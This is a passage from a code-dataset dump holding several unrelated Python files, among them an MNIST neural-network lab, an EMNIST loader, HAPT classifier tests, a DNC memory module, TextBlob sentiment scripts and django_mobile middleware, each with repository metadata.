self.assertEqual(len(prop[\"proposed_ops\"]), 1)\n self.assertEqual(prop[\"fee_paying_account\"], \"1.2.12\")\n self.assertEqual(\n getOperationNameForId(prop[\"proposed_ops\"][0][\"op\"][0]),\n \"transfer\")\n\n def test_new_proposals(self):\n p1 = peerplays.new_proposal()\n p2 = peerplays.new_proposal()\n self.assertIsNotNone(id(p1), id(p2))\n\n def test_new_txs(self):\n p1 = peerplays.new_tx()\n p2 = peerplays.new_tx()\n self.assertIsNotNone(id(p1), id(p2))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_proposals.py","file_name":"test_proposals.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"440863805","text":"from dtp.datasets.base_dataset import BaseDataset\n\nimport torchvision.transforms as transforms\nimport torchvision\nimport torch\nimport numpy as np\n\n\nclass EMNIST(BaseDataset):\n def __init__(self, location='../../data'):\n self.location = location\n self.transformer = transforms.Compose([\n transforms.ToTensor(),\n # First value corresponds to mean and the second value is the std\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n\n self.trainset = torchvision.datasets.EMNIST(\n split='digits', root=self.location,\n train=True, download=True, transform=self.transformer\n )\n self.trainloader = torch.utils.data.DataLoader(\n self.trainset, batch_size=128,\n shuffle=True, num_workers=2\n )\n\n self.testset = torchvision.datasets.EMNIST(\n split='digits', root=self.location,\n train=False, download=True, transform=self.transformer\n )\n\n self.testloader = torch.utils.data.DataLoader(\n self.testset, batch_size=100,\n shuffle=False, num_workers=2\n )\n\n def sample_iid(self, num_users):\n num_items = int(len(self.trainset) / num_users)\n dict_users, all_idxs = {}, [i for i in range(len(self.trainset))]\n for i in range(num_users):\n dict_users[i] = set(np.random.choice(all_idxs, num_items,\n replace=False))\n all_idxs = list(set(all_idxs) - dict_users[i])\n return dict_users\n\n\n","sub_path":"dtp/datasets/emnist.py","file_name":"emnist.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"482402807","text":"import os\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras.utils import to_categorical\r\nimport random\r\nfrom sklearn import metrics\r\n\r\n# Setting random seeds to keep everything deterministic.\r\nrandom.seed(1618)\r\nnp.random.seed(1618)\r\n# tf.set_random_seed(1618) # Uncomment for TF1.\r\ntf.random.set_seed(1618)\r\n\r\n# Disable some troublesome logging.\r\n# tf.logging.set_verbosity(tf.logging.ERROR) # Uncomment for TF1.\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\n# Information on dataset.\r\nNUM_CLASSES = 10\r\nIMAGE_SIZE = 784\r\n\r\n# Use these to set the algorithm to use.\r\n# ALGORITHM = \"guesser\"\r\n# ALGORITHM = \"custom_net\"\r\nALGORITHM = \"tf_net\"\r\n\r\n# Neurons per layer\r\nNEURONS = 512\r\n\r\nnp.set_printoptions(threshold=np.inf)\r\n\r\n\r\nclass NeuralNetwork_2Layer():\r\n def __init__(self, inputSize, outputSize, neuronsPerLayer, learningRate=0.05):\r\n self.inputSize = inputSize\r\n self.outputSize = outputSize\r\n self.neuronsPerLayer = neuronsPerLayer\r\n self.lr = learningRate\r\n self.W1 = np.random.randn(self.inputSize, self.neuronsPerLayer)\r\n self.W2 = np.random.randn(self.neuronsPerLayer, self.outputSize)\r\n\r\n # Activation function.\r\n def __sigmoid(self, x):\r\n return 1 / (1 + np.exp(-x)) # TODO: implement\r\n\r\n # Activation prime function.\r\n def __sigmoidDerivative(self, x):\r\n sig = self.__sigmoid(x)\r\n der = sig * (1 - sig)\r\n return der # TODO: implement\r\n\r\n # Batch generator for mini-batches. Not randomized.\r\n def __batchGenerator(self, l, n):\r\n for i in range(0, len(l), n):\r\n yield l[i: i + n]\r\n\r\n # Training with backpropagation.\r\n # TODO: Implement backprop. allow minibatches. mbs should specify the size of each minibatch.\r\n def train(self, xVals, yVals, epochs=100, minibatches=True, mbs=100):\r\n num_batches = xVals.shape[0] / mbs\r\n xValBatches = np.split(xVals, num_batches)\r\n yValBatches = np.split(yVals, num_batches)\r\n for i in range(epochs):\r\n for j in range(num_batches):\r\n layer1, layer2 = self.__forward(xValBatches[j])\r\n L2e = (layer2 - yValBatches[j])\r\n\r\n sig_der_layer2 = self.__sigmoidDerivative(layer2)\r\n L2d = L2e * sig_der_layer2\r\n\r\n L1e = np.dot(L2d, self.W2.T)\r\n\r\n sig_der_layer1 = self.__sigmoidDerivative(layer1)\r\n L1d = L1e * sig_der_layer1\r\n\r\n L1a = (np.dot(xValBatches[j].T, L1d)) * self.lr\r\n L2a = (np.dot(layer1.T, L2d)) * self.lr\r\n\r\n self.W1 -= L1a\r\n self.W2 -= L2a\r\n\r\n return self\r\n\r\n # Forward pass.\r\n def __forward(self, input):\r\n layer1 = self.__sigmoid(np.dot(input, self.W1))\r\n layer2 = self.__sigmoid(np.dot(layer1, self.W2))\r\n return layer1, layer2\r\n\r\n # Predict.\r\n def predict(self, xVals):\r\n _, layer2 = self.__forward(xVals)\r\n ans = []\r\n for entry in layer2:\r\n pred = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n index = entry.argmax()\r\n pred[index] = 1\r\n ans.append(pred)\r\n\r\n return np.array(ans)\r\n\r\n\r\n# Classifier that just guesses the class label.\r\ndef guesserClassifier(xTest):\r\n ans = []\r\n for entry in xTest:\r\n pred = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n pred[random.randint(0, 9)] = 1\r\n ans.append(pred)\r\n return np.array(ans)\r\n\r\n\r\n# ===========================================================\r\n\r\ndef getRawData():\r\n mnist = tf.keras.datasets.mnist\r\n (xTrain, yTrain), (xTest, yTest) = mnist.load_data()\r\n\r\n print(\"Shape of xTrain dataset: %s.\" % str(xTrain.shape))\r\n print(\"Shape of yTrain dataset: %s.\" % str(yTrain.shape))\r\n print(\"Shape of xTest dataset: %s.\" % str(xTest.shape))\r\n print(\"Shape of yTest dataset: %s.\" % str(yTest.shape))\r\n return ((xTrain, yTrain), (xTest, yTest))\r\n\r\n\r\ndef preprocessData(raw):\r\n ((xTrain, yTrain), (xTest, yTest)) = (\r\n (raw[0][0] / 255.0, raw[0][1]),\r\n (raw[1][0] / 255.0, raw[1][1])) # TODO: Add range reduction here (0-255 ==> 0.0-1.0).\r\n\r\n xTrain = xTrain.reshape(xTrain.shape[0], xTrain.shape[1] * xTrain.shape[2])\r\n xTest = xTest.reshape(xTest.shape[0], xTest.shape[1] * xTest.shape[2])\r\n yTrainP = to_categorical(yTrain, NUM_CLASSES)\r\n yTestP = to_categorical(yTest, NUM_CLASSES)\r\n print(\"New shape of xTrain dataset: %s.\" % str(xTrain.shape))\r\n print(\"New shape of xTest dataset: %s.\" % str(xTest.shape))\r\n print(\"New shape of yTrain dataset: %s.\" % str(yTrainP.shape))\r\n print(\"New shape of yTest dataset: %s.\" % str(yTestP.shape))\r\n return ((xTrain, yTrainP), (xTest, yTestP))\r\n\r\n\r\ndef trainModel(data):\r\n xTrain, yTrain = data\r\n if ALGORITHM == \"guesser\":\r\n return None # Guesser has no model, as it is just guessing.\r\n elif ALGORITHM == \"custom_net\":\r\n print(\"Building and training Custom_NN.\")\r\n # TODO: Write code to build and train your custon neural net.\r\n model = NeuralNetwork_2Layer(IMAGE_SIZE, NUM_CLASSES, NEURONS)\r\n return model.train(xTrain, yTrain)\r\n elif ALGORITHM == \"tf_net\":\r\n print(\"Building and training TF_NN.\")\r\n # TODO: Write code to build and train your keras neural net.\r\n model = tf.keras.models.Sequential(\r\n [tf.keras.layers.Flatten(),\r\n tf.keras.layers.Dense(512, activation=tf.nn.sigmoid),\r\n tf.keras.layers.Dense(10, activation=tf.nn.sigmoid)])\r\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\r\n model.fit(xTrain, yTrain, epochs=5)\r\n return model\r\n else:\r\n raise ValueError(\"Algorithm not recognized.\")\r\n\r\n\r\ndef runModel(data, model):\r\n if ALGORITHM == \"guesser\":\r\n return guesserClassifier(data)\r\n elif ALGORITHM == \"custom_net\":\r\n print(\"Testing Custom_NN.\")\r\n # TODO: Write code to run your custon neural net.\r\n return model.predict(data)\r\n elif ALGORITHM == \"tf_net\":\r\n print(\"Testing TF_NN.\")\r\n # TODO: Write code to run your keras neural net.\r\n preds = model.predict(data)\r\n ans = []\r\n for entry in preds:\r\n pred = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n index = entry.argmax()\r\n pred[index] = 1\r\n ans.append(pred)\r\n return np.array(ans)\r\n else:\r\n raise ValueError(\"Algorithm not recognized.\")\r\n\r\n\r\ndef evalResults(data, preds): # TODO: Add F1 score confusion matrix here.\r\n xTest, yTest = data\r\n actual = []\r\n predicted = []\r\n acc = 0\r\n for i in range(preds.shape[0]):\r\n if np.array_equal(preds[i], yTest[i]): acc = acc + 1\r\n actual.append(yTest[i].argmax())\r\n predicted.append(preds[i].argmax())\r\n accuracy = acc / (preds.shape[0] * 1.0)\r\n print(\"Classifier algorithm: %s\" % ALGORITHM)\r\n print(\"Classifier accuracy: %f%%\" % (accuracy * 100))\r\n print()\r\n\r\n # The columns will show the instances predicted for each label,\r\n # and the rows will show the actual number of instances for each label.\r\n print(metrics.confusion_matrix(actual, predicted, labels=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]))\r\n print(metrics.classification_report(actual, predicted, labels=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]))\r\n\r\n\r\n\r\n# =========================
================================================\r\n\r\ndef main():\r\n raw = getRawData()\r\n data = preprocessData(raw)\r\n model = trainModel(data[0])\r\n preds = runModel(data[1][0], model)\r\n evalResults(data[1], preds)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"Lab0/Lab0.py","file_name":"Lab0.py","file_ext":"py","file_size_in_byte":7678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"277036609","text":"#Purpose: To take all the files from a desginated directory and use TextBlob\r\n#\tto print all sentiment analysis values to a .csv file\r\n#\r\n#Other TextBlob tools can be used by reconfiguring that part of this script\r\n\r\n\r\n#Initialize TextBlob\r\nfrom textblob import TextBlob as tb\r\n\r\n#First task: Read in files in directory as list\r\nimport os\r\nPoems = os.path.dirname(\"Poems/\")\r\n\r\n#1.a: define filelist as list and filename as string\r\nfilelist =[]\r\nfilename =\"\"\r\n\r\n#1.b: These commands walk the directory structure and create an accessible filelist\r\n#\tstrings are the required input type for TextBlob\r\n\r\nfor root, dirs, files in os.walk(Poems):\r\n\tfor file in files:\r\n\t\tfilelist.append(os.path.join(root, file))\r\n\t\t\r\n#1.c: Read each file in using filepath to \r\n\r\nfor filepath in filelist:\r\n\t\r\n\t# print each file as it is read in\r\n\t\r\n\tprint(filepath)\r\n\t\r\n\t# open each file and read them into a long string\r\n\tcollins = open(filepath, \"r\")\r\n\tCollinsPoem=[]\r\n\tfor lines in collins:\r\n\t\tCollinsPoem.append(lines.strip())\r\n\r\n\tCollinsPoemString = \" \".join(CollinsPoem)\r\n\r\n# Second Task: Call TextBlob\r\n\r\n\tCollinsBlob =tb(CollinsPoemString)\r\n\tprint('Placeholdername', CollinsBlob.sentiment.polarity, CollinsBlob.sentiment.subjectivity)\r\n\r\n\t# set variables to string type\r\n\tp=\"\"\r\n\ts=\"\"\r\n\tprintline=\"\"\r\n\r\n\t#assign tb string values to variables\r\n\tp=str(CollinsBlob.sentiment.polarity)\r\n\ts=str(CollinsBlob.sentiment.subjectivity)\r\n\r\n\t#build string to write to file\r\n\tprintline=filepath+\",\"+p+\",\"+s\r\n\r\n\t#write to file with linebreak\r\n\tf = open('workfile', \"a\")\r\n\tf.write(printline+\"\\n\")\r\n\r\n#close output file\r\nf.close()\r\n","sub_path":"past_class_projects/2016/Sentiment-Group-DHSI2016/sentimentanalysis.py","file_name":"sentimentanalysis.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"340536286","text":"# python3\n\n\ndef _majority(arr, l, r):\n if l == r:\n return arr[l]\n\n m = (l + r) // 2\n l_res = _majority(arr, l, m)\n r_res = _majority(arr, m + 1, r)\n\n count_l = 0\n count_r = 0\n\n for el in arr[l:r + 1]:\n if el == l_res:\n count_l += 1\n elif el == r_res:\n count_r += 1\n\n if count_l > (r - l + 1) // 2:\n return l_res\n elif count_r > (r - l + 1) // 2:\n return r_res\n else:\n return -1\n\n\ndef majority(arr):\n \"\"\"\n Find most frequent item in array, recursive \"divide-and-conquer\" approach.\n\n >>> majority([1, 2, 3, 4])\n -1\n\n >>> majority([2, 3, 9, 2, 2])\n 2\n\n >>> majority([1, 2, 3, 1])\n -1\n \"\"\"\n return _majority(arr, 0, len(arr) - 1)\n\n\nif __name__ == '__main__':\n n = input()\n votes = list(map(int, input().split()))\n\n res = majority(votes)\n\n if res != -1:\n print(1)\n else:\n print(0)\n","sub_path":"part-1-toolbox/assignments/week-4/p2_majority.py","file_name":"p2_majority.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"253314801","text":"import pickle\nimport argparse\nimport time\n\nimport split_HAPT\nfrom data_processing_HAPT import plot_report\nfrom sklearn.metrics import accuracy_score, classification_report\n\nPLOT_ALL = False\nDO_PCA = True\nDO_CROSS_VALIDATION = False #True\nNUMBER_OF_K_FOLD_CROSS_VALIDATION = 10\nNUMBER_OF_CLASSIFIERS_IN_RANDOMFOREST = 120\n\nMY_LABELS = ['WALKING', 'UPSTAIRS', 'DOWNSTAIRS', 'SITTING', 'STANDING', 'LAYING', 'STAND_TO_SIT', 'SIT_TO_STAND',\n 'SIT_TO_LIE', 'LIE_TO_SIT', 'STAND_TO_LIE', 'LIE_TO_STAND']\n\n\n# *****************************************#\n# KNN #\n# *****************************************#\ndef KNN(X_train, X_test, y_train, y_test, moderated, pca_dims):\n # print(X_train.shape)\n\n start_time = time.time()\n model = pickle.load(open('model/' + moderated + 'Hz/' + 'pca=' + str(pca_dims) + 'KNN.hdf5', 'rb'))\n load_time = time.time() - start_time\n\n start_time = time.time()\n test_predict = model.predict(X_test)\n inference_time = time.time() - start_time\n\n if PLOT_ALL:\n plot_report(y_test, test_predict, \"KNN\")\n # print(\"report for KNN: \")\n # report = classification_report(y_test, test_predict, digits=4, target_names=MY_LABELS)\n # print(report)\n acc = accuracy_score(y_test, test_predict)\n print(\"KNN overall accuracy: \" + str(acc))\n # print(confusion_matrix(y_test, test_predict))\n\n return acc, load_time, inference_time\n\n\n# *****************************************#\n# Naive Bayes #\n# *****************************************#\ndef NaiveBayes(X_train, X_test, y_train, y_test, moderated, pca_dims):\n # print(X_train.shape)\n\n start_time = time.time()\n model = pickle.load(open('model/' + moderated + 'Hz/' + 'pca=' + str(pca_dims) + 'NB.hdf5', 'rb'))\n load_time = time.time() - start_time\n\n start_time = time.time()\n test_predict = model.predict(X_test)\n inference_time = time.time() - start_time\n\n if PLOT_ALL:\n plot_report(y_test, test_predict, \"Naive Bayes\")\n # print(\"report for NaiveBayes: \")\n # print(classification_report(y_test, test_predict, digits=4, target_names=MY_LABELS))\n acc = accuracy_score(y_test, test_predict)\n print(\"NaiveBayes overall accuracy: \" + str(acc))\n\n return acc, load_time, inference_time\n\n\n# *****************************************#\n# SVM #\n# *****************************************#\ndef SVM(X_train, X_test, y_train, y_test, moderated, pca_dims):\n # print(X_train.shape)\n\n start_time = time.time()\n model = pickle.load(open('model/' + moderated + 'Hz/' + 'pca=' + str(pca_dims) + 'SVM.hdf5', 'rb'))\n load_time = time.time() - start_time\n\n start_time = time.time()\n test_predict = model.predict(X_test)\n inference_time = time.time() - start_time\n\n if PLOT_ALL:\n plot_report(y_test, test_predict, \"SVM\")\n # print(\"report for SVM: \")\n # print(classification_report(y_test, test_predict, digits=4, target_names=MY_LABELS))\n acc = accuracy_score(y_test, test_predict)\n print(\"SVM overall accuracy: \" + str(acc))\n # print(sklearn.metrics.confusion_matrix(y_test, test_predict))\n\n return acc, load_time, inference_time\n\n\n# *****************************************#\n# RandomForest #\n# *****************************************#\ndef RandomForest(X_train, X_test, y_train, y_test, moderated, pca_dims):\n # print(X_train.shape)\n start_time = time.time()\n model = pickle.load(open('model/' + moderated + 'Hz/' + 'pca=' + str(pca_dims) + 'RF.hdf5', 'rb'))\n load_time = time.time() - start_time\n\n start_time = time.time()\n test_predict = model.predict(X_test)\n inference_time = time.time() - start_time\n\n if PLOT_ALL:\n plot_report(y_test, test_predict, \"Random Forest\")\n # print(\"report for RandomForest: \")\n # print(classification_report(y_test, test_predict, digits=4, target_names=MY_LABELS))\n acc = accuracy_score(y_test, test_predict)\n print(\"RandomForest overall accuracy: \" + str(acc))\n\n\n \"\"\" # https://scikit-learn.org/stable/auto_examples/ensemble/plot_forest_importances.html\n importances = model.feature_importances_\n std = np.std([tree.feature_importances_ for tree in model.estimators_],\n axis=0)\n indices = np.argsort(importances)[::-1]\n # Print the feature ranking\n print(\"Feature ranking:\")\n for f in range(X_train.shape[1]):\n print(\"%d. feature %d (%f)\" % (f + 1, indices[f], importances[indices[f]]))\n # Plot the feature importances of the forest\n plt.figure()\n plt.title(\"Feature importances\")\n plt.bar(range(X_train.shape[1]), importances[indices],\n color=\"r\", yerr=std[indices], align=\"center\")\n plt.xticks(range(X_train.shape[1]), indices)\n plt.xlim([-1, X_train.shape[1]])\n plt.show()\n \"\"\"\n\n return acc, load_time, inference_time\n\n\ndef main(pca_dims, rate, sensor, classifier):\n moderated = str(int(50 // rate))\n X_train, X_test, y_train, y_test = split_HAPT.main(pca_dims, rate, 0.3, sensor)\n\n if classifier == 'knn':\n acc, l_time, i_time = KNN(X_train, X_test, y_train, y_test, moderated, pca_dims)\n\n elif classifier == 'nb':\n acc, l_time, i_time = NaiveBayes(X_train, X_test, y_train, y_test, moderated, pca_dims)\n\n elif classifier == 'svm':\n acc, l_time, i_time = SVM(X_train, X_test, y_train, y_test, moderated, pca_dims)\n\n elif classifier == 'rf':\n acc, l_time, i_time = RandomForest(X_train, X_test, y_train, y_test, moderated, pca_dims)\n\n else:\n print(\"Not implemented\")\n exit(0)\n\n print(\"Classifier, Accuracy, Load Time, Inference Time\")\n print(classifier, acc, l_time, i_time)\n\n\n\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='Others testing on HAPT')\n parser.add_argument(\"--pca\", default=30, type=int, help=\"pca dimensions with gyro: [20, 30, 40, 50, 60] \"\n \"without gyro: [15, 18, 21, 24, 27, 30]\")\n parser.add_argument(\"--rate\", default=1, type=int, help=\"Sampling rate [10, 5, 2.5, 2, 1.25, 1]\")\n parser.add_argument(\"--sensor\", default='', type=str, help=\"Input acc for just accelerometer. \"\n \"No input for accelerometer + gyroscope\")\n parser.add_argument(\"--classifier\", default='svm', type=str, help=\"Other classifiers. \"\n \"knn, nb, svm, rf\")\n\n args = parser.parse_args()\n\n main(args.pca, args.rate, args.sensor, args.classifier)\n","sub_path":"HAPT/HAPT_others_testing.py","file_name":"HAPT_others_testing.py","file_ext":"py","file_size_in_byte":6546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"269482553","text":"location = \"Dili\"\nyear = 2020\n\nprint(f\"{location} in {year}\")\n\ntable = {111:\"Joaquim\",112:\"aurito\",113:\"basilio\"}\nfor reg,name in table.items():\n\tprint(f\"n0 reg. : {reg}\\n\\tname : {name}\")\n\njm = \"python\"\n\nprint(f\"my favorite programming languague is {jm}\")","sub_path":"25_Fancier output formatting/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"406220682","text":"# coding=utf-8\nimport Pandas_ as pd\nimport re\nreplace_dict = dict(zip(['面议', '/月', '元', '月薪', ' ', '以上', '以下', '年薪', '万'], ['']*9))\nfile_path = r'C:\\Users\\xilig\\Desktop\\1.txt'\ndata = pd.read_table(file_path, header=None)\n\n\ndef multi_replace(text, replace_dict_): # 多次替换的函数\n rx = re.compile('|'.join(map(re.escape, replace_dict_)))\n\n def one(match):\n return replace_dict_[match.group(0)]\n return rx.sub(one, text)\n\n\ndef get_salary(string):\n try:\n if '年' not in string:\n string = multi_replace(string, replace_dict).split('-')\n salary = [float(i) for i in string]\n result = sum(salary)/len(salary)\n return result\n except:\n return 0\n\n\n\n\nlist(map(get_salary, data[2]))","sub_path":"Python/Others/5000_.py","file_name":"5000_.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"568892855","text":"import argparse\n\nfrom scalesim.scale_sim import scalesim\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', metavar='Topology file', type=str,\n default=\"../topologies/test.csv\",\n help=\"Path to the topology file\"\n )\n parser.add_argument('-c', metavar='Config file', type=str,\n default=\"../configs/unit_tests/scale_test1.cfg\",\n help=\"Path to the config file\"\n )\n\n args = parser.parse_args()\n topology = args.t\n config = args.c\n\n s = scalesim(save_disk_space=False, verbose=True,\n config=config,\n topology=topology\n )\n s.run_scale(top_path='../test_runs')\n","sub_path":"version2/scale.py","file_name":"scale.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"369315659","text":"# DNC memory module\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\nimport numpy as np\n\nclass memory_unit(nn.Module):\n\n def __init__(self, N, M, memory_init=None):\n\n super(memory_unit, self).__init__()\n\n self.N = N # Number of Memory cells\n self.M = M # Single Memory cell length\n\n # Registering Memory Initialization matrix into state_dict\n self.register_buffer('memory_init', torch.Tensor(N, M))\n\n # Memory Initialization\n stdev = 1.0 / (np.sqrt(N + M))\n\n # Following snippet allows user to exclusively give initialization values to the memory\n # Otherwise it initializes automatically\n if memory_init == None:\n nn.init.uniform_(self.memory_init, -stdev, stdev) # Memory size is (N, M)\n else:\n self.memory_init = memory_init.clone()\n\n def memory_size(self):\n return self.N, self.M\n\n def reset_memory(self, batch_size):\n self.batch_size = batch_size\n self.memory = self.memory_init.clone().repeat(batch_size, 1, 1).cuda()\n\n def memory_read(self, W): # Assuming shape of Memory -> (batch_size, N, M)\n \"\"\"\n Input : \n\n W : Read Weights -> (batch_size x N)\n \"\"\"\n return torch.bmm(W.unsqueeze(1), self.memory).squeeze(1) # Out : (batch_size x M) size vector\n\n def memory_write(self, W, e, a):\n \"\"\"\n Input : \n\n W : Write Weights -> (batch_size x N)\n e : Erase Vector -> (batch_size x M)\n a : Write Vector -> (batch_size x M)\n \"\"\"\n erase_mat = torch.bmm(W.unsqueeze(-1), e.unsqueeze(1)) # Out : (batch_size x N x M) matrix\n add_mat = torch.bmm(W.unsqueeze(-1), a.unsqueeze(1)) # Out : (batch_size x N x M) matrix\n self.memory = self.memory * (1 - erase_mat) + add_mat # Out : (batch x N x M) matrix\n\n def access_memory_write(self, k, beta, g_w, g_a, alloc_weights): # Returns the weight vector to access memory for write handle\n \"\"\"\n Input : \n\n k : Key vector for matching -> (batch_size x M)\n beta : Constant for strength focus -> (batch_size x 1)\n g_w : Interpolation Write gate -> (batch_size x 1)\n g_a : Allocation Gate -> (batch_size x 1)\n alloc_weights : Allocation Weights -> (batch_size x N)\n \"\"\"\n # Content based addressing\n W_c = self._content_focusing(k, beta) # Out : (batch_size x N) vector\n\n # Location based addressing\n W = self._gating(g_w, g_a, alloc_weights, W_c) # Out : (batch_size x N) vector\n return W # Out : (batch_size x N) vector\n\n def _read_mode_interpolation(self, f, b, W_c, r_mode): # Performs Interpolation of Forward, Backward and Content vectors to generate Read weights\n \"\"\"\n Input : \n\n f : Forward Temporal Weights -> 'num_write_heads' sized list of (batch_size x N) tensors\n b : Backward Temporal Weights -> 'num_write_heads' sized list of (batch_size x N) tensors\n W_c : Content Similarity Weights -> (batch_size x N)\n r_mode : Reading Mode Vector -> (batch_size x num_read_mode)\n \"\"\"\n i = 0\n W = torch.zeros(W_c.shape).cuda()\n\n for forward in f:\n W = W + r_mode[:,i].unsqueeze(-1)*forward\n i += 1\n\n W = W + r_mode[:,i].unsqueeze(-1)*W_c\n i += 1\n\n for backward in b:\n W = W + r_mode[:,i].unsqueeze(-1)*backward\n i += 1\n\n return W # Out : (batch_size x N) vector\n\n def access_memory_read(self, k, beta, f, b, r_mode): # Returns the weight vector to access memory for read handle\n \"\"\"\n Input : \n\n k : Key vector for matching -> (batch_size x M)\n beta : Constant for strength focus -> (batch_size x 1)\n f : Forward Temporal Weights -> 'num_write_heads' sized list of (batch_size x N) tensors\n b : Backward Temporal Weights -> 'num_write_heads' sized list of (batch_size x N) tensors\n r_mode : Reading Mode Vector -> (batch_size x num_read_mode)\n \"\"\"\n # Content based addressing\n W_c = self._content_focusing(k, beta) # Out : (batch_size x N) vector\n\n # Read Mode Interpolation\n W = self._read_mode_interpolation(f, b, W_c, r_mode) # Out : (batch_size x N) vector\n return W # Out : (batch_size x N) vector\n\n def _content_focusing(self, key, beta):\n \"\"\"\n Input : \n\n k : Key vector for matching -> (batch_size x M)\n beta : Constant for strength focus -> (batch_size x 1)\n \"\"\"\n similarity_vector = F.cosine_similarity(key.unsqueeze(1) + 1e-16, self.memory + 1e-16, dim = 2) # We are adding some offset to inputs to avoid zero output \n temp_vec = beta*similarity_vector # similarity_vector -> dim : (batch_size x N)\n return F.softmax(temp_vec, dim = 1)\n\n def _gating(self, g_w, g_a, alloc_weights, W_c): # Performs gating/interpolation\n \"\"\"\n Input : \n\n g_w : Interpolation Write gate -> (batch_size x 1)\n g_a : Allocation Gate -> (batch_size x 1)\n alloc_weights : Allocation Weights -> (batch_size x N)\n W_c : Content Similarity Weights -> (batch_size x N)\n \"\"\"\n return g_w*(g_a*alloc_weights + (1-g_a)*W_c)","sub_path":"DNC_GPU/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":5901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"434269012","text":"import psycopg2\nimport toml\nimport matplotlib.pyplot as plt\nfrom lib import node_time, node_classification, node_geolocation\n\n\nconfig = toml.load(\"./db.toml\")['psql']\nconn = psycopg2.connect(\n host=config['host'],\n port=config['port'],\n database=config['database'],\n user=config['user'],\n password=config['password'],\n)\n\nstart, end = node_time.get_time_range(conn)\nall = node_classification.get_all_nodes(conn, start, end)\nlocations = node_geolocation.get_geolocation(conn, all)\n\ncounts = dict()\nsum = 0\nfor _, location in locations.items():\n if location in counts:\n counts[location] += 1\n else:\n counts[location] = 1\n sum += 1\ncountsTrim = {\"others\": 0}\nfor key, val in counts.items():\n if val / sum < 0.01:\n countsTrim[\"others\"] += val\n else:\n countsTrim[key] = val\n{k: v for k, v in sorted(countsTrim.items(), key=lambda item: item[1])}\n# Plot\nplt.rc('font', size=8)\nplt.pie(countsTrim.values(), labels=countsTrim.keys(), autopct=\"%.1f%%\")\nplt.title(\"All nodes geolocation info from %s to %s\" % (start.replace(microsecond=0), end.replace(microsecond=0)))\nplt.show()\n","sub_path":"analysis/mixed/plot_geo_all.py","file_name":"plot_geo_all.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"252256788","text":"from django_mobile import flavour_storage\nfrom django_mobile import set_flavour, _init_flavour\nfrom django_mobile.ua_detector import UADetector\nfrom django_mobile.conf import settings\n\n\nclass SetFlavourMiddleware(object):\n def process_request(self, request):\n _init_flavour(request)\n\n if settings.FLAVOURS_GET_PARAMETER in request.GET:\n flavour = request.GET[settings.FLAVOURS_GET_PARAMETER]\n if flavour in settings.FLAVOURS:\n set_flavour(flavour, request, permanent=True)\n\n def process_response(self, request, response):\n flavour_storage.save(request, response)\n return response\n\n\nclass MobileDetectionMiddleware(object):\n \"\"\"\n This middleware detects and sets a flavour in case there is no previous\n flavour saved. In that case the saved flavour is set.\n \"\"\"\n\n def process_request(self, request):\n saved_flavour = flavour_storage.get(request)\n\n if saved_flavour is None:\n if UADetector(request).is_user_agent_mobile():\n set_flavour(settings.DEFAULT_MOBILE_FLAVOUR, request)\n else:\n set_flavour(settings.FLAVOURS[0], request)\n else:\n set_flavour(saved_flavour, request)\n","sub_path":"django_mobile/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"633135578","text":"from __future__ import print_function\r\nimport httplib2\r\nimport os\r\nfrom pprint import pprint\r\nimport json\r\n\r\nfrom apiclient import discovery\r\nfrom oauth2client import client\r\nfrom oauth2client import tools\r\nfrom oauth2client.file import Storage\r\n\r\ntry:\r\n import argparse\r\n flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\r\nexcept ImportError:\r\n flags = None\r\n\r\n# If modifying these scopes, delete your previously saved credentials\r\n# at ~/.credentials/sheets.googleapis.com-python-quickstart.json\r\nSCOPES = 'https://www.googleapis.com/auth/spreadsheets'\r\nCLIENT_SECRET_FILE = 'client_secret.json'\r\nAPPLICATION_NAME = 'Google Sheets API Python Quickstart'\r\n\r\n\r\ndef get_credentials():\r\n \"\"\"Gets valid user credentials from storage.\r\n\r\n If nothing has been stored, or if the stored credentials are invalid,\r\n the OAuth2 flow is completed to obtain the new credentials.\r\n\r\n Returns:\r\n Credentials, the obtained credential.\r\n \"\"\"\r\n 